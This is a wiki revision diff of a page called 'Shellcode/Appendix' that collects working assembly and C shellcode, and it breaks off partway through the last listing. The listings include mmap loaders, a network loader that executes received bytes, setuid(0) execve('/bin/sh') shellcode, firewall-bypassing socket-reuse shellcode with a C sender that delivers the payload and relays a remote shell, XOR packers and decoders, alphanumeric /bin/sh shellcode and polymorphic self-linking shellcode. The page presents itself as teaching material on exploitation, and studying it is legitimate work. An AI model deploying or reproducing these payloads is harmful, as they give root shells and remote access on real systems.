Questions about this topic? Sign up to ask in the talk tab.

Difference between revisions of "Shellcode/Appendix"

From NetSec
Jump to: navigation, search
(Created page with "{{info|<center>Code found here is also available for download in the shellcodecs package.</center>}} == Loaders == === loader-32.s === * '''Description''': 32-bit executabl...")
 
(Generators)
 
(69 intermediate revisions by 3 users not shown)
Line 1: Line 1:
{{info|<center>Code found here is also available for download in the [[shellcodecs]] package.</center>}}
+
{{social}}
  
== Loaders ==
 
  
=== loader-32.s ===
+
<font size="-2">Special thanks to [[User:Hatter|hatter]] and [[User:JtRIPper|jtripper]] for their contributions to this article.</font>
* '''Description''': 32-bit executable mmap-based shellcode loader
+
 
 +
= [[Shellcode/Loaders|Loaders]] =
 +
 
 +
'''Documentation''': [[Shellcode/Loaders|shellcode loaders]]
 +
 
 +
'''See also''': [[Shellcode/Environment|environmental documentation]], [[#Environment|environmental shellcode]]
 +
 
 +
== loader-64.s ==
 +
'''Description''': 64-bit ''mmap-based'' executable shellcode loader (returns to shellcode)
 +
 
 +
{{code|text=<source lang="asm"># 79 bytes
 +
 
 +
.section .data
 +
.section .text
 +
.globl _start
 +
 +
_start:
 +
    pop %rbx  # argc
 +
    pop %rbx  # arg0
 +
    pop %rbx  # arg1 pointer
 +
 
 +
    push $0x9
 +
    pop %rax
 +
 +
    xor %rdi, %rdi
 +
    push %rdi
 +
    pop %rsi
 +
    inc %rsi
 +
    shl $0x12, %rsi
 +
    push $0x7
 +
    pop %rdx
 +
    push $0x22
 +
    pop %r10
 +
 +
    push %rdi
 +
    push %rdi
 +
    pop %r8
 +
    pop %r9
 +
 +
    syscall  # The syscall for the mmap().
 +
 
 +
inject:
 +
    xor %rsi, %rsi
 +
    push %rsi
 +
    pop %rdi   
 +
 +
inject_loop:
 +
    cmpb %dil, (%rbx, %rsi, 1)
 +
    je inject_finished
 +
    movb (%rbx, %rsi, 1), %r10b
 +
    movb %r10b, (%rax,%rsi,1)
 +
    inc %rsi
 +
    jmp inject_loop
 +
 +
ret_to_shellcode:
 +
    push %rax
 +
    ret
 +
 +
inject_finished:
 +
    inc %rsi
 +
    movb $0xc3, (%rax, %rsi, 1)
 +
    call ret_to_shellcode
 +
 
 +
exit:
 +
    push $60
 +
    pop %rax
 +
    xor %rdi, %rdi
 +
    syscall
 +
</source>}}
 +
== loader-32.s ==
 +
 
 +
'''Description''': 32-bit ''mmap-based'' executable shellcode loader (returns to shellcode)
 
{{code|text=<source lang="asm">
 
{{code|text=<source lang="asm">
 +
# 66 bytes
  
 +
.section .data
 +
 +
.section .text
 +
 +
.global _start
 +
 +
_start:
 +
        pop %edi
 +
        pop %edi
 +
        pop %edi                      #get arg1 pointer (shellcode)
 +
 +
        push $90
 +
        pop %eax                      #mmap() syscall number
 +
 +
        xor %ebx, %ebx
 +
push %ebx
 +
push %ebx                    #args 5/6 (null)
 +
 +
push $0x22                    #arg 4
 +
push $0x7                    #arg 5
 +
 +
        push %ebx
 +
        pop %ecx
 +
        inc %ecx
 +
        shl $0x12, %ecx
 +
        push %ecx                    #arg2 (0x1000)
 +
 +
push %ebx                    #arg1 (null)
 +
 +
        mov %esp, %ebx                #move pointer to args to ebx for mmap()
 +
        int $0x80
 +
 +
 +
inject:
 +
xor %esi, %esi
 +
push %esi
 +
pop %edx                      #zero out esi and edx
 +
 +
inject_loop:
 +
cmpb %dl, (%edi, %esi, 1)
 +
je inject_finished
 +
movb (%edi, %esi, 1), %cl
 +
movb %cl, (%eax, %esi, 1)
 +
inc %esi
 +
jmp inject_loop              #places shellcode into mmap() memory
 +
 +
ret_to_shellcode:
 +
push %eax                    #pushes mmap memory address and returns to it
 +
ret
 +
 +
inject_finished:
 +
inc %esi
 +
movb $0xc3, (%eax, %esi, 1)  #adds ret to the code code so that loader can exit
 +
call ret_to_shellcode
 +
 +
exit:
 +
xor %eax, %eax
 +
mov %eax, %ebx
 +
inc %eax
 +
int $0x80               #exit
 
</source>}}
 
</source>}}
  
  
=== loader-64.s ===
+
== dynamic-loader.c ==
* '''Description''': 64-bit executable mmap-based shellcode loader
+
 
* '''Documentation''': [[Shellcode/Loaders|shellcode loader]]
+
'''Description''': Dynamically linked ''mmap-based'' executable shellcode loader (contains GOT)
 +
{{code|text=<source lang="c">#include <stdio.h>
 +
#include <sys/mman.h>
 +
#include <string.h>
 +
 
 +
int main(int argc, char *argv[])
 +
{
 +
  int (*fp)();
 +
  void *mem = mmap(0, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
 +
  memcpy(mem, argv[1], strlen(argv[1]));
 +
  fp = (int(*)())mem;
 +
  (int)(*fp)();
 +
}
 +
</source>}}
 +
 
 +
== socket-loader.c ==
 +
'''Description''': Dynamically linked ''mmap and socket based'' executable shellcode loader (contains GOT)
 +
{{code|text=<source lang="c">
 +
#include <stdio.h>
 +
#include <stdlib.h>
 +
#include <string.h>
 +
#include <sys/mman.h>
 +
#include <unistd.h>
 +
#include <sys/types.h>
 +
#include <sys/socket.h>
 +
#include <netinet/in.h>
 +
 +
void error(const char *msg) {
 +
  perror(msg);
 +
  exit(1);
 +
}
 +
 +
void execute(char *buffer) {
 +
  void (*mem)() = mmap(0, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
 +
  memcpy(mem, buffer, strlen(buffer));
 +
  (*mem)();
 +
}
 +
 +
int main(int argc, char *argv[]) {
 +
  char buffer[1024];
 +
  int serverfd, clientfd;
 +
  socklen_t client_len;
 +
  struct sockaddr_in server_addr, client_addr;
 +
  client_len = sizeof(client_addr);
 +
 
 +
  if (argc != 2) {
 +
    printf("Usage: %s <port>\n", argv[0]);
 +
    exit(1);
 +
  }
 +
 
 +
  server_addr.sin_family = AF_INET;
 +
  server_addr.sin_addr.s_addr = INADDR_ANY;
 +
  server_addr.sin_port = htons(atoi(argv[1]));
 +
 
 +
  if((serverfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
 +
    error(" [!] opening socket");
 +
 
 +
  if (bind(serverfd, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0)
 +
    error(" [!] bind()");
 +
 
 +
  if (listen(serverfd, 0) < 0)
 +
    error(" [!] listen()");
 +
 
 +
  if ((clientfd = accept(serverfd, (struct sockaddr *)&client_addr, &client_len)) < 0)
 +
    error(" [!] accept()");
 +
 
 +
  printf(" [*] Received %d bytes, executing.\n", read(clientfd,buffer,1024));
 +
  execute(buffer);
 +
 +
  printf(" [*] Closing sockets.\n");
 +
  close(clientfd);
 +
  close(serverfd);
 +
  return 0;
 +
}
 +
</source>}}
 +
 
 +
= [[Shellcode/Null-free|Null-free]] =
 +
 
 +
'''Documentation''': [[Shellcode/Null-free|null-free shellcode]]
 +
 
 +
== write-file-32.s ==
 +
'''Description''': Null-free file writing shellcode
 +
 
 
{{code|text=<source lang="asm">
 
{{code|text=<source lang="asm">
 +
# 90 bytes
 +
_start:
 +
 +
xorl %ecx, %ecx
 +
xorl %edx, %edx        #use xor to zero out the registers (removed some not required)
 +
 +
push $0x05              #push 0x05 (single byte to remove the null padding used in longs)
 +
pop %eax                #pop that value into eax
 +
push $0x6c              #push part of the file destination as a byte to remove padding
 +
pushl $0x6f6c2f70
 +
pushl $0x6f746b73
 +
pushl $0x65442f74
 +
pushl $0x6f6f722f
 +
movl %esp, %ebx        #move out stack pointer
 +
xorw $0x0641, %cx      #xor the file options as a word into ecx (ecx is 0 so ecx value would be 641)
 +
xorw $0x01b6, %dx      #xor the file permissions as a word into edx (ecx is 0 so edx value would be 1b6)
 +
                        #by using this method of xoring out the nullbytes code size can be reduced as well
 +
      #as remove the null bytes
 +
int $0x80              #execute open()
 +
 +
movl %eax, %ebx        #move the file handle into ebx for write()
 +
push $0x04              #push 0x04
 +
pop %eax                #pop it into eax for use in write()
 +
pushl $0x6c6f6c6a      #push part of the null terminated hex string onto the stack
 +
pop %ecx                #pop it into ecx for modification
 +
shr $0x08, %ecx        #shift it to the right by 0x08 to put the nullbyte back into the string without
 +
                        #having it directly in the code
 +
pushl %ecx              #push the modified string back onto the stack
 +
pushl $0x20736920
 +
pushl $0x73696874
 +
movl %esp, %ecx        #move the stack pointer to ecx
 +
push $0xb              #push the size of the stack in hex
 +
pop %edx                #pop it back into the proper register
 +
pushl %ebx              #push the file descriptor onto the stack for the next function
 +
int $0x80              #write the file
 +
 +
pop %ebx                #get the file descriptor back
 +
push $0x06              #push 0x06 to the stack
 +
pop %eax                #pop it into eax for close()
 +
int $0x80              #close the file
 +
 +
push $0x01              #push exit() onto the stack
 +
pop %eax                #and put it in the register
 +
push $0x05              #push the return value of 5
 +
pop %ebx                #and put it in ebx
 +
int $0x80              #and exit
 
</source>}}
 
</source>}}
 +
== setuid_binsh.s ==
 +
'''Description''': null-free setuid(0); execve('/bin/sh') shellcode
  
=== dynamic-loader.c ===
+
{{code|text=<source lang="asm">
* '''Description''':
+
# 32 bytes
{{code|text=<source lang="C">
+
.text
 +
.globl _start
 +
_start:
 +
  xor    %rdi,%rdi
 +
  pushq  $0x69
 +
  pop    %rax
 +
  syscall
 +
 
 +
  push  %rdi
 +
  push  %rdi
 +
  pop    %rsi
 +
  pop    %rdx
 +
  pushq  $0x68
 +
  movabs $0x7361622f6e69622f,%rax
 +
  push  %rax
 +
  push  %rsp
 +
  pop    %rdi
 +
  pushq  $0x3b
 +
  pop    %rax
 +
  syscall
 
</source>}}
 
</source>}}
  
=== socket-loader.c ===
+
= [[Shellcode/Environment|Environment]] =
* '''Description''':
+
 
 +
'''Documentation''': [[Shellcode/Environment|environment]]
 +
 
 +
== getpc-64.s ==
 +
'''Description''': 64-bit getpc
 +
 
 +
{{code|text=<source lang="asm">
 +
# 12 - bytes
 +
 
 +
jmp startup
 +
getpc:
 +
  mov (%rsp), %rax
 +
  ret
 +
startup:
 +
call getpc      # the %rax register now contains %rip on the next line
 +
</source>}}
 +
 
 +
== getpc-64-alt.s ==
 +
'''Description''': Alternative 64-bit getpc method
 +
 
 +
{{code|text=<source lang="asm">
 +
# 10 bytes
 +
 
 +
jmp startup
 +
pc:
 +
  nop
 +
startup:
 +
  lea -1(%rip), %rax  # the %rax register now contains the address of `pc'.
 +
</source>}}
 +
 
 +
== getpc-32.s ==
 +
'''Description''': 32-bit getpc
 +
 
 +
{{code|text=<source lang="asm"># 11 bytes
 +
jmp startup
 +
getpc:
 +
  mov (%esp), %eax
 +
  ret
 +
startup:
 +
call getpc      # the %eax register now contains %eip on the next line
 +
</source>}}
 +
 
 +
== int3-detect-64.s ==
 +
'''Description''': Breakpoint detection shellcode
 +
 
 +
{{code|text=<source lang="asm">
 +
# 24 bytes
 +
 
 +
.text
 +
.global _start
 +
_start:
 +
 +
  jmp startup
 +
 +
go_retro:
 +
  pop %rcx
 +
  inc %rcx
 +
  jmp *%rcx
 +
 +
startup:
 +
  call go_retro
 +
 +
volatile_segment:
 +
  push $0x3458686a
 +
  push $0x0975c084
 +
  nop
 +
</source>}}
 +
 
 +
== lastcall-32.s ==
 +
'''Description''': 32-bit last call example
 +
 
 +
{{code|text=<source lang="asm">
 +
# 4 bytes
 +
 
 +
mov -0x4(%esp), %eax
 +
</source>}}
 +
 
 +
== lastcall-64.s ==
 +
'''Description''': 64-bit last call example
 +
 
 +
{{code|text=<source lang="asm">
 +
# 5 bytes
 +
 
 +
mov -0x8(%rsp), %rax
 +
</source>}}
 +
 
 +
== lastcall-alphanum.s ==
 +
'''Description''': Alphanumeric last call example
 +
 
 +
{{code|text=<source lang="asm">
 +
# 13 bytes
 +
 
 +
.text
 +
.global _start
 +
_start:
 +
  pop %rax
 +
  push %rsp                # move pointer to %rsp into %rax
 +
  pop %rax
 +
  xor $0x65,%al            # subtract 0x10 from %rax
 +
  xor $0x75,%al
 +
  xor %rsi,(%rax)
 +
  xor (%rax),%rsi          # move address to last instruction into %rax
 +
</source>}}
 +
 
 +
= [[Shellcode/Socket-reuse|Socket-reuse]] =
 +
 
 +
'''Documentation''': [[Shellcode/Socket-reuse|socket reuse documentation]]
 +
 
 +
== socket-reuse.s ==
 +
'''Description''': socket reusing shellcode to bypass firewalls
 +
 
 +
{{code|text=<source lang="asm">
 +
# 117 bytes
 +
.section .data
 +
.section .text
 +
.globl _start
 +
_start:
 +
jmp start
 +
 
 +
exit:
 +
  push $0x3c
 +
  pop %rax
 +
  syscall
 +
 
 +
start:
 +
  push $0x02
 +
  pop %rdi
 +
 
 +
make_fd_struct:
 +
  lea -0x14(%rsp), %rdx
 +
  movb $0x10, (%rdx)
 +
  lea 0x4(%rdx), %rsi # move struct into rsi
 +
 
 +
loop:
 +
  inc %edi
 +
  test %di, %di # loop until 65535 then exit
 +
  je exit
 +
 
 +
stack_fix:
 +
  lea 0x14(%rdx), %rsp
 +
 
 +
get_peer_name:
 +
  sub $0x20, %rsp
 +
  push $0x34
 +
  pop %rax
 +
  syscall
 +
 
 +
check_pn_success:
 +
  test %al, %al
 +
  jne loop
 +
 
 +
# If we make it here, rbx and rax are 0
 +
check_ip:
 +
  push $0x1b
 +
  pop %rcx
 +
  mov $0xfeffff80, %ebx
 +
  not %ebx
 +
  cmpl %ebx, (%rsp,%rcx,4)     
 +
  jne loop
 +
 
 +
check_port:
 +
  movb $0x35, %cl
 +
  mov $0x2dfb, %bx
 +
  not %bx
 +
  cmpw %bx,(%rsp, %rcx ,2) # (%rbp,%rsi,2)
 +
  jne loop
 +
 
 +
reuse:
 +
  push %rax
 +
  pop %rsi
 +
 
 +
  dup_loop:      # redirect stdin, stdout, stderr to socket
 +
    push $0x21
 +
    pop %rax
 +
    syscall
 +
    inc %esi
 +
    cmp $0x4, %esi
 +
    jne dup_loop
 +
 
 +
execve:
 +
  pop %rdi
 +
  push %rdi                     
 +
  push %rdi
 +
  pop %rsi                   
 +
  pop %rdx                      # Null out %rdx and %rdx (second and third argument)
 +
  mov $0x68732f6e69622f6a,%rdi  # move 'hs/nib/j' into %rdi
 +
  shr $0x8,%rdi                  # null truncate the backwards value to '\0hs/nib/'
 +
  push %rdi     
 +
  push %rsp
 +
  pop %rdi                      # %rdi is now a pointer to '/bin/sh\0'
 +
  push $0x3b                   
 +
  pop %rax                      # set %rax to function # for execve()
 +
  syscall                        # execve('/bin/sh',null,null);
 +
</source>}}
 +
 
 +
== socket-reuse-send.c ==
 +
'''Description''': sends socket reuse shellcode
 +
 
 
{{code|text=<source lang="C">
 
{{code|text=<source lang="C">
 +
#include <sys/socket.h>
 +
#include <stdio.h>
 +
#include <stdlib.h>
 +
#include <unistd.h>
 +
#include <string.h>
 +
#include <sys/types.h>
 +
#include <netinet/in.h>
 +
#include <netdb.h>
 +
 +
// source: 127.0.0.1:1234
 +
char shellcode[] = {
 +
"\xeb\x05\x6a\x3c\x58\x0f\x05\x6a\x02\x5f\x48\x8d\x54\x24\xec\xc6"
 +
"\x02\x10\x48\x8d\x72\x04\xff\xc7\x66\x85\xff\x74\xe5\x48\x8d\x62"
 +
"\x14\x48\x83\xec\x20\x6a\x34\x58\x0f\x05\x84\xc0\x75\xe8\x6a\x1b"
 +
"\x59\xbb\x80\xff\xff\xfe\xf7\xd3\x39\x1c\x8c\x75\xd9\xb1\x35\x66"
 +
"\xbb\xfb\x2d\x66\xf7\xd3\x66\x39\x1c\x4c\x75\xca\x50\x5e\x6a\x21"
 +
"\x58\x0f\x05\xff\xc6\x83\xfe\x04\x75\xf4\x5f\x57\x57\x5e\x5a\x48"
 +
"\xbf\x6a\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f"
 +
"\x6a\x3b\x58\x0f\x05"
 +
};
 +
 +
void error(char *err) {
 +
  perror(err);
 +
  exit(0);
 +
}
 +
 +
int main(int argc, char *argv[]) {
 +
  struct sockaddr_in server_addr, bind_addr;
 +
  struct hostent* server, *_bind;
 +
  char buf[1024], inbuf[1024];
 +
  int sock;
 +
 +
  _bind = gethostbyname(argv[3]);
 +
  bind_addr.sin_family = AF_INET;
 +
  bind_addr.sin_port  = htons(atoi(argv[4]));
 +
  memcpy(&bind_addr.sin_addr.s_addr, _bind->h_addr, _bind->h_length);
 +
 +
  server = gethostbyname(argv[1]);
 +
  server_addr.sin_family = AF_INET;
 +
  memcpy(&server_addr.sin_addr.s_addr, server->h_addr, server->h_length);
 +
  server_addr.sin_port = htons(atoi(argv[2]));
 +
 +
  if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
 +
    error(" [!] socket()");
 +
 +
  if (bind(sock, (struct sockaddr *)&bind_addr, sizeof(bind_addr)) < 0)
 +
    error(" [!] bind()");
 +
 +
  printf(" [*] Connecting to %s\n", argv[1]);
 +
  if (connect(sock, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0)
 +
    error(" [*] connect()");
 +
 +
  printf(" [*] Sending payload\n");
 +
  if (send(sock, shellcode, strlen(shellcode), MSG_NOSIGNAL) < 0)
 +
    error(" [!] write()");
 +
 +
  while(fgets(buf, 1024, stdin) != NULL) {
 +
    if (send(sock, buf, strlen(buf), MSG_NOSIGNAL) < 0)
 +
      error(" [!] write(): ");
 +
    if (recv(sock, inbuf, 1024, 0) < 0)
 +
      error(" [!] read(): ");
 +
    printf("%s", inbuf);
 +
    memset(inbuf, 0, 1024);
 +
    memset(buf, 0, 1024);
 +
  }
 +
 +
  return 0;
 +
}
 +
</source>
 +
}}
 +
 +
= [[Shellcode/Self-modifying|Self-modifying]] =
 +
 +
'''Documentation''': [[Shellcode/Self-modifying|self-modifying code]]
 +
 +
'''See also''': [[Shellcode/Environment|environmental documentation]], [[#Environment|environmental shellcode]], [[Shellcode/Loaders|shellcode loading documentation]], [[#Loaders|shellcode loaders]]
 +
 +
== packer.s ==
 +
'''Description''': Shellcode packer
 +
 +
{{code|text=<source lang="asm"># 55 bytes
 +
.section .data
 +
.section .text
 +
.globl _start
 +
 +
_start:
 +
    pop %rbx  # argc
 +
    pop %rbx  # arg0
 +
    pop %rbx  # arg1 pointer
 +
 +
    xor %rsi, %rsi
 +
    push $0x34
 +
    pop %rdi   
 +
 +
count_chars:
 +
    cmpb %dil, (%rbx, %rsi, 1)
 +
    int3
 +
    je write
 +
    xor $0x16, (%rbx, %rsi, 1)
 +
    inc %rsi
 +
    jmp count_chars
 +
 +
write:
 +
    mov $0x1, %rax
 +
    mov $0x1, %rdi
 +
    mov %rsi, %rdx
 +
    mov %rbx, %rsi
 +
    syscall
 +
 +
exit:
 +
    push $60
 +
    pop %rax
 +
    xor %rdi, %rdi
 +
    syscall
 +
</source>}}
 +
 +
== decoder-no-mmap.s ==
 +
'''Description''': Unpacker without ''mmap''
 +
 +
{{code|text=<source lang="asm"># 69 bytes
 +
jmp start
 +
 +
inject:
 +
    pop %rdi # return value
 +
 +
    xor %rsi, %rsi
 +
    push %rsi
 +
    pop %rdi   
 +
 +
inject_loop:
 +
    cmpb $0x17, (%rbx, %rsi, 1)
 +
    je inject_finished
 +
    movb (%rbx, %rsi, 1), %r10b
 +
    xor $0x16, %r10b
 +
    movb %r10b, (%rbx, %rsi, 1)
 +
    inc %rsi
 +
    jmp inject_loop
 +
 +
inject_finished:
 +
    inc %rsi
 +
    movb $0xc3, (%rbx, %rsi, 1)
 +
    push %rdi
 +
    push %rbx
 +
    ret
 +
 +
getpc:
 +
    mov (%rsp),%rbx
 +
    ret
 +
 +
start:
 +
    call getpc
 +
    add $0xe,%rbx
 +
 +
    push %rbx
 +
    call inject
 +
 +
exit:
 +
    push $0x3c
 +
    pop %rax
 +
    xor %rdi, %rdi
 +
    syscall
 +
</source>}}
 +
== decoder.s ==
 +
'''Description''': Shellcode unpacker using ''mmap''
 +
 +
{{code|text=<source lang="asm"># 102 bytes
 +
jmp start
 +
 +
inject:
 +
    pop %rdi
 +
    pop %rcx
 +
    pop %rax
 +
 +
    xor %rsi, %rsi
 +
    push %rsi
 +
    pop %rdi   
 +
 +
inject_loop:
 +
    cmpb $0x20, (%rax, %rsi, 1)
 +
    je inject_finished
 +
    movb (%rax, %rsi, 1), %r10b
 +
    xor $0x3, %r10b
 +
    movb %r10b, (%rcx, %rsi, 1)
 +
    inc %rsi
 +
    jmp inject_loop
 +
 +
inject_finished:
 +
    inc %rsi
 +
    movb $0xc3, (%rcx, %rsi, 1)
 +
    push %rdi
 +
    push %rcx
 +
    ret
 +
 +
getpc:
 +
    mov (%rsp),%rbx
 +
    ret
 +
 +
start:
 +
    call getpc
 +
    add $0x31,%rbx
 +
 +
    push $0x9
 +
    pop %rax
 +
    xor %rdi, %rdi
 +
    push %rdi
 +
    pop %rsi
 +
    inc %rsi
 +
    shl $0x12, %rsi
 +
    push $0x7
 +
    pop %rdx
 +
    push $0x22
 +
    pop %r10
 +
    push %rdi
 +
    push %rdi
 +
    pop %r8
 +
    pop %r9
 +
 +
    syscall  # The syscall for the mmap().
 +
 +
    push %rax
 +
    push %rbx
 +
    call inject
 +
 +
exit:
 +
    push $60
 +
    pop %rax
 +
    xor %rdi, %rdi
 +
    syscall
 +
</source>}}
 +
 +
== packer-32.s ==
 +
'''Description''': 32-bit shellcode packer
 +
 +
{{code|text=<source lang="asm">
 +
# 37 bytes
 +
.section .data
 +
 +
.section .text
 +
 +
.global _start
 +
 +
_start:
 +
pop %ecx
 +
pop %ecx
 +
pop %ecx                        #arg1 pointer
 +
 +
xor %ebx, %ebx   
 +
push %ebx
 +
pop %edx                        #zero out ebx and edx
 +
 +
count_chars:
 +
cmpb %dl, (%ecx, %ebx, 1)
 +
je write
 +
xor $0x3, (%ecx, %ebx, 1)
 +
inc %ebx
 +
jmp count_chars                #counts characters and xor encode them
 +
 +
write:
 +
push $4
 +
pop %eax
 +
mov %ebx, %edx
 +
push $2
 +
pop %ebx
 +
int $0x80                        #writes encoded chars to stdout
 +
 +
exit:
 +
xor %eax, %eax
 +
mov %eax, %ebx
 +
inc %eax
 +
int $0x80                        #exits
 +
</source>}}
 +
== decoder-32.s ==
 +
'''Description''': 32-bit shellcode decoder
 +
 +
{{code|text=<source lang="asm"># 89 bytes
 +
.section .data
 +
 +
.section .text
 +
 +
.global _start
 +
 +
_start:
 +
jmp start
 +
 +
inject:
 +
pop %ecx        #pop the return address
 +
pop %ebx        #pop the encoded shellcode start address
 +
pop %eax #pop the mmaped memory address
 +
 +
xor %edx, %edx
 +
push %edx
 +
pop %ecx #zero out edx and ecx (which holds the return address)
 +
 +
inject_loop:
 +
cmpb $0x20, (%ebx, %edx, 1)
 +
je inject_finished
 +
movb (%ebx, %edx, 1), %cl
 +
xor $0x3, %cl
 +
movb %cl, (%eax, %edx, 1)
 +
inc %edx
 +
jmp inject_loop
 +
 +
inject_finished:
 +
inc %edx
 +
movb $0xc3, (%eax, %edx, 1)
 +
push %ecx
 +
push %eax
 +
ret
 +
 +
 +
getpc:
 +
mov (%esp), %eax
 +
ret
 +
 +
start:
 +
call getpc        #find ourself on stack
 +
mov %eax, %edx
 +
add $0x2a, %edx  #add decoder length to find shell beginging
 +
 +
        push $90
 +
        pop %eax          #mmap() syscall
 +
 +
        xor %ebx, %ebx
 +
push %ebx
 +
push %ebx   #arg 5/6
 +
 +
push $0x22   #arg 4
 +
push $0x7   #arg 3
 +
 +
        push %ebx
 +
        pop %ecx
 +
        inc %ecx
 +
        shl $0x12, %ecx
 +
        push %ecx          #arg2 0x1000
 +
 +
push %ebx          #arg 1
 +
 +
        mov %esp, %ebx
 +
        int $0x80
 +
 +
push %eax   #push mmap pointer
 +
push %edx        #push our shellcode begining
 +
 +
call inject
 +
 +
exit:
 +
xor %eax, %eax
 +
mov %eax, %ebx
 +
inc %eax
 +
int $0x80
 +
</source>}}
 +
 +
= [[Shellcode/Alphanumeric|Alphanumeric]] =
 +
 +
'''Documentation''': [[Shellcode/Alphanumeric|alphanumeric shellcode]]
 +
 +
'''See also''': [[Shellcode/Environment|environmental documentation]], [[#Environment|environmental shellcode]]
 +
 +
== architecture_detection ==
 +
'''Description''': Alphanumeric architecture detection shellcode
 +
 +
  TX4HPZTAZAYVH92
 +
 +
== binsh.s ==
 +
'''Description''': Alphanumeric /bin/sh shellcode
 +
 +
{{code|text=<center>''Assembled x64'' <br />'''XTX4e4uH10H30VYhJG00X1AdTYXHcq01q0Hcq41q4Hcy0Hcq0WZhZUXZX5u7141A0hZGQjX5u49j1A4H3y0XWjXHc9H39XTH394cEB00'''</center>}}
 +
{{code|text=<source lang="asm"># 104 bytes
 +
.text
 +
.global _start
 +
_start:
 +
  pop %rax
 +
  push %rsp
 +
  pop %rax
 +
  xor $0x65,%al
 +
  xor $0x75,%al
 +
  xor %rsi, (%rax)  # mov emulated into rsi
 +
  xor (%rax), %rsi
 +
  push %rsi
 +
  pop %rcx
 +
  pushq $0x3030474a
 +
  pop %rax
 +
  xor %eax,0x64(%rcx)
 +
  push %rsp
 +
  pop %rcx
 +
  pop %rax
 +
  movslq 0x30(%rcx),%rsi
 +
  xor %esi,0x30(%rcx)
 +
  movslq 0x34(%rcx),%rsi
 +
  xor %esi,0x34(%rcx)
 +
  movslq 0x30(%rcx),%rdi
 +
  movslq 0x30(%rcx),%rsi
 +
  push %rdi
 +
  pop %rdx
 +
  pushq $0x5a58555a
 +
  pop %rax
 +
  xor $0x34313775,%eax
 +
  xor %eax,0x30(%rcx)
 +
  pushq $0x6a51475a
 +
  pop %rax
 +
  xor $0x6a393475,%eax
 +
  xor %eax,0x34(%rcx)
 +
  xor 0x30(%rcx),%rdi
 +
  pop %rax
 +
  push %rdi
 +
  pushq $0x58
 +
  movslq (%rcx),%rdi
 +
  xor (%rcx),%rdi
 +
  pop %rax
 +
  push %rsp
 +
  xor (%rcx),%rdi
 +
  xor $0x63,%al
 +
  rex.RB
 +
  rex.X xor %sil,(%rax)</source>}}
 +
 +
= [[Shellcode/Parsing|Parsing]] =
 +
'''Documentation''': [[Shellcode/Parsing|ELF parsing shellcode]]
 +
 +
== elf64-parser.s ==
 +
'''Description''': ELF64 symbol parser
 +
 +
{{code|text=<source lang="asm"># 188 bytes
 +
.section .data
 +
.section .text
 +
 +
.globl _start
 +
 +
_start:
 +
jmp startup
 +
 +
strlen:
 +
xor %rdx, %rdx
 +
 +
next_byte:
 +
inc %rdx
 +
cmpb $0x00, (%rsi,%rdx,1);
 +
jne next_byte
 +
ret
 +
 +
getpc:
 +
mov (%rsp), %rax
 +
ret
 +
 +
startup:
 +
xor %r15, %r15
 +
push $0x0a0a0a
 +
mov %rsp, %r15
 +
call getpc
 +
dec %rax
 +
xor %rcx, %rcx
 +
push $0x2
 +
pop %rsi
 +
 +
find_header:
 +
cmpl $0x464c457f, (%rax,%rcx,4)  # Did we find our ELF base pointer?
 +
je find_sections
 +
dec %rax
 +
jmp find_header
 +
 +
find_sections:
 +
# %rax now = base pointer of ELF image.
 +
xor %rbx, %rbx
 +
add $0x28, %bl
 +
xorl (%rax,%rbx,1), %ecx            # %rcx = offset to section headers
 +
addq %rax, %rcx                      # %rcx = absolute address to section headers
 +
 +
# each section header is 0x40 bytes in length.
 +
next_section:
 +
xor %rbx, %rbx
 +
xor %rbp, %rbp
 +
add $0x40, %rcx
 +
# %rcx now = address to first entry
 +
add $0x04, %bl
 +
xor (%rcx,%rbx,1), %ebp              # %rbp now contains type
 +
cmp $0x02,  %bpl
 +
jne next_section
 +
 +
found_symbols:
 +
xor %r8, %r8
 +
mov %rcx, %r8                        # %rcx = pointer to top of symbol section header
 +
add $0x40, %r8                      # %r8  = pointer to top of string table section header
 +
 +
xor %rbx, %rbx
 +
xor $0x18, %bl                      # pointer to actual section is $0x18 bytes from header base
 +
 +
xor %r9, %r9
 +
xor %r10, %r10
 +
xor (%rcx,%rbx,1), %r9
 +
xor (%r8,%rbx,1), %r10
 +
addq %rax, %r9                      # r9 should now point to the first symbol
 +
addq %rax, %r10                    # r10 should now point to the first string
 +
addq $0x18, %r9
 +
 +
next_symbol:
 +
addq $0x18,%r9
 +
xor %rcx, %rcx
 +
xor %rbp, %rbp
 +
xor %rdi, %rdi
 +
xor (%r9,%rcx,1), %ebp              # %rbp now contains string offset.
 +
cmp %rbp, %rdi
 +
je next_symbol
 +
 +
print_symbol_name:
 +
mov %rbp, %rsi
 +
addq %r10, %rsi                    # %rsi should now be a pointer to a string
 +
push $0x01
 +
pop %rax
 +
push %rax
 +
pop %rdi
 +
call strlen
 +
syscall
 +
 +
push $0x01
 +
pop %rax
 +
push %rax
 +
pop %rdi
 +
push $0x02
 +
pop %rdx
 +
push %r15
 +
pop %rsi
 +
syscall
 +
jmp next_symbol
 +
</source>}}
 +
 +
= [[Shellcode/Dynamic|Dynamic]] =
 +
 +
'''Documentation''': [[Shellcode/Dynamic|dynamic shellcode]]
 +
 +
'''See also''': [[Shellcode/Environment|environmental documentation]], [[#Environment|environmental shellcode]], [[Shellcode/Self-modifying|self-modifying documentation]], [[#Self-modifying|self-modifying shellcode]]
 +
 +
== poly-linker-fd-reuse.s ==
 +
'''Description''': Polymorphic self-linking file descriptor reuse shellcode
 +
 +
{{code|text=<source lang="asm"># 268 bytes
 +
 +
.section .data
 +
.section .text
 +
.global _start
 +
 +
_start:
 +
  push $0x400130ff
 +
  pop %rbx
 +
  shr $0x8, %ebx
 +
 +
fast_got:
 +
  mov (%rbx), %rcx
 +
  add 0x10(%rbx), %rcx
 +
 +
extract_pointer:
 +
  mov 0x20(%rcx), %rbx
 +
 +
find_base:
 +
  dec %rbx
 +
  cmpl $0x464c457f, (%rbx)
 +
jne find_base
 +
 +
jmp startup
 +
 +
__initialize_world:
 +
  pop %rcx
 +
  jmp _world
 +
 +
 +
# at this point, the base pointer of libc is in %rbx
 +
startup:
 +
  call __initialize_world
 +
 +
################
 +
#
 +
#  Takes a function hash in %rbp and base pointer in %rbx
 +
